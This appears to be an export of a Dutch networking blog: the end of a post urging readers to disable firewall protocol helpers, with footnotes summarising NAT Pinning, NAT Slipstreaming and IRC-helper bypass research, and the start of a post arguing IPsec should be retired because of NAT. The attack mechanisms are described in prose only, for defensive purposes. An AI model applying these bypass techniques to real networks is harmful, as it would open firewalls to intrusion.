aanpassen of de doos leren lezen. Ze leerden de doos lezen, leverden de veiligste standaarden die ze konden bedenken, en schreven in de broncode waarschuwingen over waartoe het te brengen was. Die waarschuwingen staan er nog. Eén ervan heb ik geciteerd.\nWat daarna misging is geen technisch falen. Het is dat niets in deze branche ooit iemand dwong er nog eens naar te kijken. De IETF zei ze uit te zetten en had geen macht om iemand daartoe te brengen. De kernel veranderde zijn standaard en kon de al uitgeleverde apparaten niet bereiken. Onderzoekers bewezen het in zestien jaar vier keer, en elke keer landde de oplossing ergens anders dan in de firewall.\nOndertussen bleef de standaardwaarde aan. Niet omdat iemand hem verdedigde. Maar omdat een standaardwaarde waar niemand over twist onbeperkt blijft bestaan, en omdat er nergens een afdeling is wier taak het is dingen te beëindigen.\nDat is het patroon, en het is groter dan één firewallfunctie. Dit vak is uitstekend in onderhouden en hopeloos in stoppen. Onderhoud is begroot, bemenst, factureerbaar en veilig, terwijl uitfaseren één persoon vraagt die zijn naam zet onder een wijziging zonder voordeel als hij goed gaat en met zijn naam er overal op als hij misgaat. Dus blijft het ding, en blijft het, en op een dag ontdekt iemand dat het poorten opent naar je printer.\nHet teken is voor mij die formulering in Cisco\u0026rsquo;s eigen documentatie: de ALG maakt een NAT-deur. Geen filter. Geen controle. Een deur, in de muur waar jij voor betaald hebt, geopend door iedereen die er een pakket met de juiste woorden vooraan doorheen krijgt — en het ingesleten antwoord van de branche is voorbijgangers te vragen alsjeblieft niet aan de klink te trekken.\nDie van jou kun je vanmiddag dichtdoen, en daar is het de moeite waard om mee te eindigen. Niet de aanvallen; de aanvallen zijn alleen wat er gebeurt als niemand het doet. Ga kijken wat je grens inkomend toestaat zonder dat je het ooit hebt opgeschreven, bepaal of je dat zo bedoelde, en haal eruit wat je niet bedoelde — met een datum naast wat je houdt.\nMeer is een grens nooit geweest: een lijst dingen die iemand koos toe te staan en kon verantwoorden. Wat erop staat zonder dat iemand het koos is geen beveiliging. Dat is meubilair.\nSamy Kamkar — NAT Pinning, 5 januari 2010. De oorspronkelijke aanval van de browser op het ALG, met een verborgen formulier dat een browser een IRC-DCC CHAT of een FTP-227-antwoordregel laat versturen, zodat de helper van de router een inkomende poort opent. “No XSS or CSRF required.”\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nSamy Kamkar — NAT Slipstreaming, 31 oktober 2020, bijgewerkt in januari 2021. Door de auteur samengevat als “an attacker to remotely access any TCP/UDP service bound to a victim machine, bypassing the victim\u0026rsquo;s NAT/firewall (arbitrary firewall pinhole control), just by the victim visiting a website”. Bevat de techniek met de segmentgrenzen, de opmerking dat de SIP-handler “will bail unless the method (eg, REGISTER) occurs at the start of the data portion of the packet”, en de firmware-analyse van een Netgear-apparaat die ftp_decode en sip_decode in een kernelmodule vond.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nBen Seri en Gregory Vishnepolsky, Armis — NAT Slipstreaming v2.0, 26 januari 2021. Het H.323-doorschakelprimitief, het omzeilen van de blokkeerlijst van de browsers via het relay, de lijst met geteste producten (OpenWrt, VyOS, consumenten-Linux-routers, FortiGate, Cisco ASAv en csr1000v, HPE vsr1000, SonicWall TZ300), het verloop van de bekendmaking en de conclusie dat “resolving the issue will require a fundamental change of their implementations by various router/firewall vendors”.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nRFC 4787 — Network Address Translation (NAT) Behavioral Requirements for Unicast UDP, januari 2007, BCP 127. Paragraaf 7 bevat REQ-10, en de constatering dat “Certain NATs have these ALGs turned on permanently, others have them turned on by default but allow them to be turned off”.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nPablo Neira Ayuso — netfilter: nf_ct_helper: disable automatic helper assignment, commit 3bb398d9, 25 april 2016, geleverd met Linux 4.7. Verandert de standaardwaarde van nf_conntrack_helper van aan naar uit.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nChromium-broncode — net/base/port_util.cc. De array kRestrictedPorts bevat 69, 137, 139, 161, 554, 1719, 1720, 1723, 5060, 5061, 6566 en 10080. De aankondiging van de SIP-poorten door Adam Rice, 5 november 2020: “a carefully-crafted HTTP request to port 5060 on an attacker\u0026rsquo;s server can fool some NAT devices into treating it as a SIP packet and setting up port forwarding to an attacker-controlled port number.”\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nCisco — SIP ALG Hardening for NAT and Firewall, IP Addressing Configuration Guide, Cisco IOS XE 17.x. “SIP ALG creates a firewall pinhole or a Network Address Translation (NAT) door based on the first value in the Via header field for each SIP request received.” NAT-ondersteuning voor SIP is “enabled by default on port 5060”. Zie ook Using Application-Level Gateways with NAT, waarin staat dat SIP en H.323 standaard aan staan.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nPalo Alto Networks — Disable the SIP Application-level Gateway (ALG). “SIP ALG creates dynamic NAT pinholes but may interfere with VoIP applications that have NAT traversal capabilities, causing communication failures.”\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nRFC 2663 — IP Network Address Translator (NAT) Terminology and Considerations, augustus 1999. Paragraaf 2.9 is waar het Application Level Gateway gedefinieerd wordt.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nRFC 3234 — Middleboxes: Taxonomy and Issues, februari 2002. De regel over de laagschending staat in paragraaf 2.11; de kosten van extra dozen in het pad staan in paragraaf 5, die eraan toevoegt dat het “creates extra points of attack, reduces or eliminates the ability to perform end to end encryption, and complicates trust models and key distribution models”.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nEric Leblond, Pablo Neira Ayuso, Patrick McHardy, Jan Engelhardt en Mr Dash Four — Secure use of iptables and connection tracking helpers. “This system relies on parsing of data coming either from the user or the server. It is therefore vulnerable to attack and great care must be taken when using connection tracking helpers.” Bron van het citaat over de IRC-joker, en beschrijft de sysctl nf_conntrack_helper en het doel CT --helper.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nLinux-kernelbroncode — net/netfilter/nf_conntrack_ftp.c. De moduleparameter loose staat standaard op false en beschermt het geval waarin het adres in het PORT-commando niet dat van de client zelf is; het commentaar noemt het risico “DMZ machines opening holes to internal networks, or the packet filter itself”.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nnetfilter — H.323 conntrack/NAT helper, door de auteur van de module. Bevat het doorschakelscenario waarin een sessie naar het adres van een derde partij kan verwijzen.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nDavid Leadbeater — NAT-Again: IRC NAT helper flaws, augustus 2022. Toont de aanleiding via de ping-echo, merkt op dat het ook gebruikt kan worden om te scannen, om gemaskeerde gebruikers te ontmaskeren en om ze te verbreken door poort 0 te noemen, en beveelt aan: “Potentially entirely deprecate and remove nf_conntrack_irc, it\u0026rsquo;s unclear it has much use anymore.”\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nCVE-2022-2663 — “An issue was found in the Linux kernel in nf_conntrack_irc where the message handling can be confused and incorrectly matches the message. A firewall may be able to be bypassed when users are using unencrypted IRC with nf_conntrack_irc configured.”\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nCisco — advies voor CVE-2018-15454, voor het eerst gepubliceerd op 31 oktober 2018. De gegeven maatregel is no inspect sip op ASA en configure inspection sip disable op FTD; de vermelding in de nationale kwetsbaarhedendatabase legt vast dat bij publicatie “Software updates that address this vulnerability are not yet available.”\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nRFC 4217 — Securing FTP with TLS, oktober 2005.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nRFC 3715 — IPsec-Network Address Translation (NAT) Compatibility Requirements, maart 2004. Paragraaf 2.1 punt (f) gaat over de SPI-keuze tegenover NAT; paragraaf 2.3 heet Helper Incompatibilities en bevat de geciteerde regels over demultiplexen op IKE-cookies en het ontleden van ISAKMP-payloads.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nJuniper — IKE and ESP ALG, Application Layer Gateways User Guide. Bron van de beschrijving van het poortje, van de opmerking dat NAT-T-verkeer op poort 4500 niet door het ALG wordt verwerkt, en van de waarschuwing dat het apparaat bij twee clients achter hetzelfde vertaalde adres “will be unable to distinguish and route return traffic properly”.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nCisco — IPsec Pass Through Inspection, ASA Firewall CLI Configuration Guide 9.20. “IPsec Pass Through application inspection provides convenient traversal of ESP (IP protocol 50) and AH (IP protocol 51) traffic associated with an IKE UDP port 500 connection.” Staat niet in het standaardbeleid; de meegeleverde _default_ipsec_passthru_map “sets no maximum limit on ESP connections per client”.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nRFC 3947 — Negotiation of NAT-Traversal in the IKE, en RFC 3948 — UDP Encapsulation of IPsec ESP Packets, beide januari 2005.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nCole Dishington — netfilter: nf_conntrack: Add conntrack helper for ESP/IPsec, mei 2021, derde versie. Beoordeeld op netfilter-devel en niet opgenomen; net/netfilter in de mainline-kernel bevat nog steeds geen nf_conntrack_proto_esp.c.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nNCSC en IASME — Cyber Essentials: Requirements for IT Infrastructure v3.3, april 2026. Maatregel 1, Firewalls, geldt voor “boundary firewalls, desktop computers, laptops, routers, servers, IaaS, PaaS, SaaS”, en de drie eisen die in de tekst geciteerd worden zijn haar eigen woorden.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nRFC 3027 — Protocol Complications with the IP Network Address Translator, januari 2001. “The purpose of this document is to identify the protocols and applications that break with NAT enroute.”\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nWHATWG Fetch — pull request 1109, de wijziging in de standaard die de items voor slechte poorten in alle browsers toevoegde.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nOpenBSD — ftp-proxy(8). “ftp-proxy is a proxy for the Internet File Transfer Protocol.” Stuurverbindingen bereiken hem alleen omdat jij ze daarheen gestuurd hebt: “FTP control connections should be redirected into the proxy using the pf(4) divert-to command, after which the proxy connects to the server on behalf of the client.”\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nFortinet — Technical Tip: Disabling VoIP Inspection. Beschrijft het verwijderen van het SIP-item uit config system session-helper, set default-voip-alg-mode kernel-helper-based, en merkt op dat het weer aanzetten een herstart vereist.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nMozilla — Stopping FTP support in Firefox 90, 20 juli 2021, en Google — Deprecations and removals in Chrome 95, oktober 2021: “Use of FTP in the browser is sufficiently low that it is no longer viable to invest in improving the existing FTP client.”\u0026#160;\u0026#x21a9;\u0026#xfe0e;\n","permalink":"https://blogs.damiendye.uk/nl/networking/protocol-helpers-turn-them-off/","summary":"Een protocol-helper — SIP ALG, FTP-helper, H.323 ALG, conntrack-helper, noem het zoals je leverancier het noemt — leest de payload van een verbinding, vindt daar een adres en een poort in de tekst, en opent daarvoor een inkomend gaatje. Hij kan niet zien of die tekst van een echte FTP-client komt of van een verborgen formulier op een webpagina, want er staat niets in wat dat verraadt. Samy Kamkar toonde het browsergeval in 2010, NAT Slipstreaming deed het in 2020 opnieuw, en Armis breidde het in 2021 uit tot elk apparaat in je netwerk, niet alleen de machine die klikte. De IETF vroeg in 2007 om ze standaard uit te zetten, Linux zette ze in 2016 uit, en de browserbouwers leverden uiteindelijk een lijst geblokkeerde poorten die leest als een inhoudsopgave van de conntrack-modules. Dit stuk loopt het mechanisme diagram voor diagram door — de expectation-tabel, de truc met segmentgrenzen, H.323-doorschakelen, de IRC-helper die afgaat op het bericht van iemand anders —, neemt de IPsec-passthrough-helper mee, die ESP helemaal niet kan lezen en inkomende pakketten stuurt op een SPI die hij in klare tekst voorbij zag komen, legt het geheel naast de firewall-eis van Cyber Essentials die het duidelijk niet haalt, en geeft de commando\u0026rsquo;s om alles uit te zetten op Linux, Cisco, Juniper, FortiGate en MikroTik.","title":"Je firewall neemt instructies aan van vreemden. Zet de protocol-helpers uit."},{"content":"IPsec was een goed idee. Leg de versleuteling op de netwerklaag, onder alles, en elk protocol dat over IP loopt erft vertrouwelijkheid en integriteit zonder dat het iets hoeft te weten. Geen bibliotheek om te linken. Geen certificaat per applicatie. Niets herschrijven aan wat je al hebt uitgeleverd. Het pakket vertrekt beschermd en komt beschermd aan, en de routers ertussen vervoeren het zonder te weten of te willen weten wat erin zit.\nDat ontwerp rust op één aanname, en die staat in de standaard in plaats van dat hij wordt geïmpliceerd: het adres van een pakket identificeert de machine waar het vandaan kwam. Een security association wordt opgezocht op het bestemmingsadres, het protocolnummer en de SPI1. De Authentication Header gaat verder en ondertekent de IP-header zelf, bron en bestemming inbegrepen2. Voor IPsec is het adres geen routeringsmetadata. Het is onderdeel van de identiteit en onderdeel van de integriteitscontrole.\nDaarna heeft deze branche dertig jaar besteed aan het wegnemen van het adres.\nEerst NAT, om een kantoor achter één lijn te laten passen. Toen carrier-grade NAT, om enkele honderden huizen achter één adres te laten passen, omdat IPv6 aanzetten werk was en een doos kopen inkoop — wat het hele onderwerp is van We Zijn Nooit Zonder Adressen Geraakt. We Zijn Zonder Moeite Geraakt. en dat doe ik hier niet nog eens over. Wat voor deze post telt, is het gevolg. Precies het ene ding waarop IPsec gebouwd is, levert het moderne toegangsnetwerk niet meer.\nDus werd IPsec opgelapt. Verpak het versleutelde pakket in UDP zodat een vertaler een poort heeft om te herschrijven. Zet de checksum op nul zodat niemand hem opnieuw controleert. Stuur elke twintig seconden een pakket van één byte, voor altijd, zodat een tabel in andermans apparatuur niet vergeet dat je bestaat. Haal de identiteit van het adres af en hang hem aan een naam. Geef de Authentication Header op, want die kan een herschreven header per constructie niet overleven. En als een hotel UDP blokkeert, verpak het geheel er ook nog eens in TCP bij3.\nElk daarvan is een echte, gestandaardiseerde, door leveranciers ondersteunde oplossing. Samen zijn ze een protocol dat overeind wordt gehouden door zijn eigen steigers. En die steigers zijn het argument: je stut niet een kwart eeuw lang iets omdat het in de kern gezond is.\nDe conclusie waar ik op uitgekomen ben, is dat IPsec volledig uitgefaseerd hoort te worden. Niet bijgeschaafd, niet opnieuw voorgesteld met betere cijfers, niet bewaard voor site-to-site omdat dat stuk nog werkt. Uitgefaseerd, met datums, zoals PPTP tien jaar eerder had moeten gebeuren dan het moment waarop iemand er eindelijk aan toekwam. Wat volgt is het bewijs, de diagrammen, de leveranciersdocumentatie die dit alles in hun eigen woorden zegt, en — omdat de meesten die dit lezen die dingen maandag toch draaiend moeten houden — een werkbare methode om IPsec-storingen intussen te diagnosticeren.\nWat het je werkelijk kost, in tickets Vóór de standaarden hier de rekening, in de volgorde waarin je hem tegenkomt.\nDe tunnel valt op de klok uit. Elk uur, of elke acht uur, of na twintig minuten zonder verkeer. Hij komt terug zodra iemand een bestand opent, dus de helft van de gebruikers meldt het nooit en de andere helft meldt het als “het VPN is traag”. Niemand heeft iets veranderd.\nTwee mensen in hetzelfde huis kunnen niet allebei verbinden. De tweede komt op, de eerste valt eruit. Ze bellen apart naar de servicedesk, dus de tickets komen elkaar nooit tegen en veertien dagen lang ziet niemand het patroon.\nKleine dingen werken en grote dingen blijven hangen. Inloggen werkt. Teams werkt. Ping werkt. Een bestand kopiëren stokt elke keer op dezelfde plek, en een grote pagina in een interne applicatie blijft staan tot hij verloopt.\nDe tunnel staat en er gaat geen verkeer doorheen. Beide kanten zeggen “established”. Beide kanten zijn tevreden over zichzelf. Er beweegt niets.\nVan buiten komt er niets binnen. Site-to-site naar het filiaal dat naar een glasvezel-altnet is overgestapt komt niet meer tot stand in de richting waarin dat vroeger ging, en niemand kan zeggen waarom, alleen dat “hun IP is veranderd”.\nQoS aanzetten heeft de versleuteling gesloopt. Iemand heeft spraak geprioriteerd, en nu gooit de andere kant pakketten weg als replays.\nGeen van deze gevallen is een configuratiefout in de gewone zin. Elk ervan is IPsec dat het netwerk tegenkomt zoals het nu is. De rest van deze post is het waarom, op volgorde, en hoe je aantoont welk geval jij hebt.\nIPsec wordt niet door het netwerk gedragen. Het ís het netwerk. Begin bij wat het was, want het ontwerp is werkelijk goed en de storingen krijgen alleen daartegen betekenis.\nESP is geen protocol dat over TCP of UDP loopt. Het is een transportprotocol, IP-protocolnummer 50, direct op IP, in precies dezelfde plek waar TCP en UDP zitten. AH is protocol 51. Geen van beide heeft een poortveld, want geen van beide heeft er een nodig: op het internet waarvoor IPsec ontworpen is, benoemt het bestemmingsadres al precies één machine, en de SPI in de ESP-header benoemt welke security association op die machine. Adres plus protocol plus SPI. Dat drietal is de opzoeking1.\nHet ontwerp zoals gespecificeerd: het adres benoemt de machine, dus zijn er geen poorten nodig en kan elke kant beginnen IPsec zoals gespecificeerd: het adres is de identiteit Host A 203.0.113.10 Routers sturen alleen door Host B 198.51.100.7 elke kant kan beginnen Wat de machine verlaat buitenste IP-header src 203.0.113.10 naar 198.51.100.7 protocol 50 = ESP SPI 4 B volgnummer 4 B versleutelde payload jouw pakket, onderweg onleesbaar ICV 16 B Opzoeking van de association = bestemmingsadres + protocol + SPI. Nergens een poortveld, want er is er geen nodig. Drie aannames van dit ontwerp, in 1995 alle drie waar: Het adres op het pakket is de machine. Niets in het pad herschrijft een header. Elke kant is te bellen. De Authentication Header gaat verder en ondertekent de buitenste header zelf, bron en bestemming inbegrepen, zodat een ontvanger kan bewijzen dat de adressen onderweg niet zijn aangeraakt. Niet op schaal. De ESP-overhead hangt af van het cijfer; hier AES-GCM in tunnelmodus over IPv4. Het ontwerp zoals het gespecificeerd is. ESP zit als protocol 50 direct op IP, zonder poorten, omdat het ze niet nodig heeft — het bestemmingsadres benoemt de host en de SPI benoemt de association daarop. AH ondertekent de IP-header zelf. Beide kanten houden een echt, bereikbaar adres, elk van beide kan het gesprek beginnen, en niets in het midden hoeft de payload te begrijpen. Kijk wat dat oplevert. Geen handshake-poort om bloot te stellen, geen sessielaag om fout te doen, geen applicatie die mee moet doen. Elk van beide kanten kan beginnen. Het midden van het netwerk is dom, en dat is precies wat het midden van een netwerk moet zijn. Een router stuurt protocol 50 door zoals hij protocol 6 doorstuurt, en dat hij de payload niet kan lezen is het doel en geen beperking.\nEen schoon ontwerp. En tegelijk, in 2026, de beschrijving van een internet dat de meesten die dit lezen niet kunnen kopen.\nToen zette iemand in elk pad een vertaler Een NAT herschrijft het bronadres, en vaak de bronpoort, zodat meerdere machines één adres delen. Meer doet het niet. Tegen IPsec is dat bijna een volledige sloop, en de IETF was eerlijk genoeg om er een heel document over te publiceren dat de stukken opsomt: RFC 3715, IPsec-Network Address Translation (NAT) Compatibility Requirements4. Zestien aparte onverenigbaarheden. Dit zijn de belangrijke.\nAH is klaar, per constructie. In de eigen woorden van RFC 3715: “Since the AH header incorporates the IP source and destination addresses in the keyed message integrity check, NAT or reverse NAT devices making changes to address fields will invalidate the message integrity check.”4 — de AH-header neemt bron- en bestemmingsadres op in de integriteitscontrole, dus elke adreswijziging maakt die ongeldig. Daar is geen oplossing voor, en die zou er ook nooit komen. Een protocol dat de header ondertekent komt niet door een doos wiens hele taak het herschrijven van de header is. AH is niet omzeild. Het is opgegeven.\nEr zijn geen poorten om te vertalen. Een NAT die poortvertaling doet heeft een poort nodig. ESP heeft er geen. Cisco schrijft het onomwonden in de Catalyst-configuratiehandleiding: “If PAT found a legislative IP address and port, it would drop the Encapsulating Security Payload (ESP) packet.”5 Het pakket wordt niet op beleid afgewezen. Het wordt weggegooid omdat de doos nergens heeft om te schrijven wat hij moet schrijven.\nDe identiteit past niet meer bij het pakket. Opnieuw uit RFC 3715: “Where IP addresses are used as identifiers in Internet Key Exchange Protocol (IKE) Phase 1 or Phase 2, modification of the IP source or destination addresses by NATs or reverse NATs will result in a mismatch between the identifiers and the addresses in the IP header.”4 — worden adressen als identificatie gebruikt, dan klopt na de vertaling de identificatie niet meer met de header. Een identiteitsschema dat machines bij adres benoemt overleeft geen apparaat dat machines beroepshalve hernoemt.\nTwee machines kunnen dezelfde SPI kiezen. De SPI wordt door de ontvanger gekozen en hoeft alleen bij hem uniek te zijn. Zet twee hosts achter één adres en de vertaler heeft twee associations zonder iets om ze uit elkaar te houden.\nVan buiten kan niets beginnen. Een NAT bouwt zijn tabel op uit uitgaande pakketten. Er is geen uitgaand pakket tot iemand begint, en op een NAT-lijn kan alleen de binnenkant beginnen. De halve symmetrie van het protocol is weg.\nEén vertaler in het pad breekt vijf dingen tegelijk, en elke oplossing kost iets Eén vertaler in het pad, en vijf dingen breken tegelijk Host 192.0.2.20 Vertaler herschrijft bron naar 203.0.113.5 Gateway 198.51.100.7 van deze kant kan niets beginnen Wat het herschrijven vernietigt 1 De ondertekende header klopt niet meer. AH dekt bron- en bestemmingsadres, dus de integriteitscontrole faalt per constructie. Er is geen oplossing. AH is via een vertaler simpelweg onbruikbaar. 2 Er is geen poort om te herschrijven. ESP is IP-protocol 50 en heeft geen poortveld, dus een vertaler die poortvertaling doet heeft niets om mee te werken en gooit het pakket weg. 3 De identiteit past niet meer bij het pakket. De sleuteluitwisseling benoemde de peer bij adres. Het adres in de header is nu van iemand anders. 4 Twee hosts kunnen dezelfde SPI kiezen. De ontvanger kiest hem en garandeert alleen dat hij bij hemzelf uniek is, dus heeft de vertaler twee associations die hij niet kan onderscheiden. 5 De halve symmetrie is weg. De tabel wordt uit uitgaande pakketten opgebouwd, dus alleen de binnenkant kan beginnen. Het compromis, en wat elk onderdeel ervan kost Verpak het hele ESP-pakket in UDP op poort 4500, zodat de vertaler iets begrijpt. Geef de Authentication Header volledig op, want niets kan hem redden. Zet de UDP-checksum op nul, want over herschreven adressen zou hij alleen falen. Haal de identiteit van het adres af en hang hem aan een naam die de peer claimt. Stuur elke twintig seconden één byte, voor altijd, zodat andermans apparatuur je niet vergeet. Het werkt. Dat wordt niet betwist. Het argument is dat niets gezonds vijf concessies nodig heeft voor één doos. Dezelfde tunnel met één vertaler in het pad. Vijf dingen breken tegelijk: de ondertekende header klopt niet meer, er is geen poort voor de vertaler om te herschrijven, de identiteit klopt niet meer met het bronadres, twee hosts kunnen dezelfde SPI kiezen, en van buiten kan niemand een gesprek beginnen. De rij eronder is wat de branche eraan gedaan heeft — en elke oplossing is iets dat is opgegeven. De oplossing was echt, en elk onderdeel ervan heeft iets gekost NAT-traversal werkt. Dat wordt niet betwist en ik doe ook niet alsof. Ik heb genoeg tunnels door genoeg NAT\u0026rsquo;s gedraaid. Wat ik vastgelegd wil hebben is de rekening, want die wordt elke dag door iedereen betaald en bijna niemand specificeert hem.\nHet mechanisme is RFC 3948: detecteer tijdens de sleuteluitwisseling een vertaler, en stop dan het hele ESP-pakket in een UDP-datagram op poort 4500 zodat de vertaler iets heeft dat hij begrijpt6. Cisco\u0026rsquo;s beschrijving van het wire-formaat is precies: na versleuteling worden “a UDP header and a non-IKE marker (which is 8 bytes in length) are inserted between the original IP header and ESP header”5 — een UDP-header en een acht byte lange niet-IKE-markering tussen de oorspronkelijke IP-header en de ESP-header gezet. Die van Juniper is korter en zegt hetzelfde: “NAT-T encapsulates both IKE and ESP traffic within UDP with port 4500 used as both the source and destination port.”7\nNu de gespecificeerde rekening.\nDe Authentication Header is weg. Niet beleefd afgeschaft. Onbruikbaar. RFC 8221 zegt inmiddels helder dat ESP samen met AH NOT RECOMMENDED is8, en de eerlijke reden is dat het ene dat AH deed en ESP niet doet, precies het ene is dat NAT vernietigt.\nDe UDP-checksum wordt opzettelijk op nul gezet. RFC 3948 eist het: met herschreven adressen zou een daarover berekende checksum falen, dus het antwoord van de standaard is hem niet meer te berekenen. “If the protocol header after the ESP header is a UDP header, set the checksum field to zero in the UDP header.”6 Een laag foutdetectie weggehaald zodat een laag adresherschrijving blijft werken.\nJe stuurt nu pakketten om een tabel warm te houden. RFC 3948 definieert een keepalive als één byte, 0xFF, verstuurd als er verder niets is uitgegaan gedurende een instelbaar interval met standaard twintig seconden6. Juniper noemt de reden zonder opsmuk: “Because NAT devices age out stale UDP translations, keepalive messages are required between the peers.”7 Een laptop in de trein die helemaal niets doet, zendt dus elke twintig seconden, voor altijd, omdat een tabel in een doos die van geen van beide kanten is anders vergeet dat hij bestaat. Vermenigvuldig dat met een vloot. Dat is de radio die wakker wordt, de accu die leegloopt, en het mobiele netwerk dat verkeer draagt waarvan het enige doel is vergeten te voorkomen.\nJe firewallt nu twee poorten in plaats van één protocol, en Cisco\u0026rsquo;s eigen beperkingenlijst eist statische vertaalregels voor zowel 500 als 4500 voordat er ook maar iets van werkt5.\nEn lees de rest van die beperkingenlijst, want daar vertelt de leverancier je de vorm van het ding. Dynamisch NAT-beleid: niet ondersteund. IPv6-verkeer: onverenigbaar met de functie. IPsec en NAT op hetzelfde apparaat: die kunnen niet allebei werken5. Dat is geen configuratiehandleiding. Dat is een lijst van plekken waar de steigers niet komen.\nElegant is er niets aan, en het is ook niemands schuld in het bijzonder. Het is wat er gebeurt als je een laag-3-protocol in leven houdt op een netwerk dat is opgehouden laag 3 te eerbiedigen.\nCarrier-grade NAT nam weg wat er over was Gewoon NAT nam het adres van de machine af en gaf het aan de locatie. De vertaler was nog van jou, dus je kon een poort doorsturen, een mapping vastzetten, een timer verlengen of de concentrator ervoor zetten.\nCarrier-grade NAT neemt het adres van de locatie af en geeft het aan enkele honderden vreemden, en de vertaler is van je provider. Alles wat je er vroeger aan kon doen, kan nu niet meer.\nEn wees duidelijk over wat er werkelijk in het pad staat, want dit is het stuk dat mensen fout hebben. De router in huis doet nog steeds NAT. Die is niet uitgezet. Hij vertaalt je laptop op 192.168.1.20 nog altijd naar het adres dat de lijn houdt — alleen houdt de lijn nu 100.64.12.7, gedeelde ruimte, geen publiek adres. De carrier vertaalt dat vervolgens nog een keer. Het pakket passeert dus twee vertalers voor het het internet bereikt, en dat is het gewone geval, niet iets bijzonders.\nCarrier-grade NAT betekent twee vertalingen, twee timers, en bij geen van beide een bereikbaar adres Carrier-grade NAT zijn twee vertalingen, niet één Laptop 192.168.1.20 Router in huis vertaling één De lijn 100.64.12.7 Carrier-vertaler vertaling twee, naar 203.0.113.9 de jouwe, en de enige tabel die je ziet die van hen, gedeeld met enkele honderden huizen, voor jou onzichtbaar niets van internet bereikt een van beide adressen Twee tabellen, twee timers, en de kortste wint. Je keepalive moet die verslaan die van de twee het eerst verloopt, en je kunt er maar één lezen. Die ertoe doet is die je niet kunt zien. Poortdoorsturing werkt en levert niets op. De router stuurt vrolijk een poort door vanaf een adres dat internet niet bereikt. UPnP en PCP melden succes en openen een deur naar een gang. Daarom is “ik heb 500 en 4500 doorgestuurd en hij komt nog steeds niet op” zo'n veelvoorkomend en misleidend ticket. De responderrol is weg. Twee filialen op consumentenglasvezel kunnen elkaar helemaal niet bellen. Iets in het midden moet ze voorstellen, en nu hang je aan een bedrijf dat je nooit koos. Identiteit kan niet het adres zijn. Meerdere abonnees komen aan als één adres, dus is wat ze onderscheidt niet het veld dat IPsec zou gebruiken. En er is een gepubliceerd plafond: op de grotere SRX-platformen noemt Juniper hoogstens 1.000 tunnels per vertaald adres. De snelste bevestiging kost niets: lees het WAN-adres in de router. Begint het met 100.64, dan is dat de gedeelde ruimte uit RFC 6598, zit je achter CGNAT, en is de halve instellingenpagina decoratie. Een zakelijke lijn met een echt vast adres heeft één vertaling en een bereikbaar eindpunt. Dat is wat de maandelijkse meerprijs je echt verkoopt: wat elke machine vroeger voor niets had. Het pakket wordt twee keer vertaald: één keer door de router in huis, één keer door de carrier. Geen van beide adressen die het houdt is van buiten bereikbaar. Dat betekent twee mappingtabellen met twee onafhankelijke timers waarvan er maar één voor jou zichtbaar is, poortdoorsturing die slaagt en niets oplevert, helemaal geen responderrol meer, en een peeridentiteit die geen adres meer kan zijn. Je zit achter dubbel NAT, en maar één van de tabellen is van jou. Twee vertalingen betekent twee mappingtabellen, twee verouderingstimers en twee kansen dat de mapping verdwijnt. Je keepalive moet die verslaan die het eerst verloopt, en je kunt er precies één lezen. Erger nog, de twee grijpen in elkaar: de router in huis heeft mogelijk eigen ideeën over IPsec en probeert te helpen met een application gateway, zodat de bronpoort die je client denkt te gebruiken niet die is die het huis verlaat, en ook niet die is die de carrier verlaat.\nPoortdoorsturing werkt nog 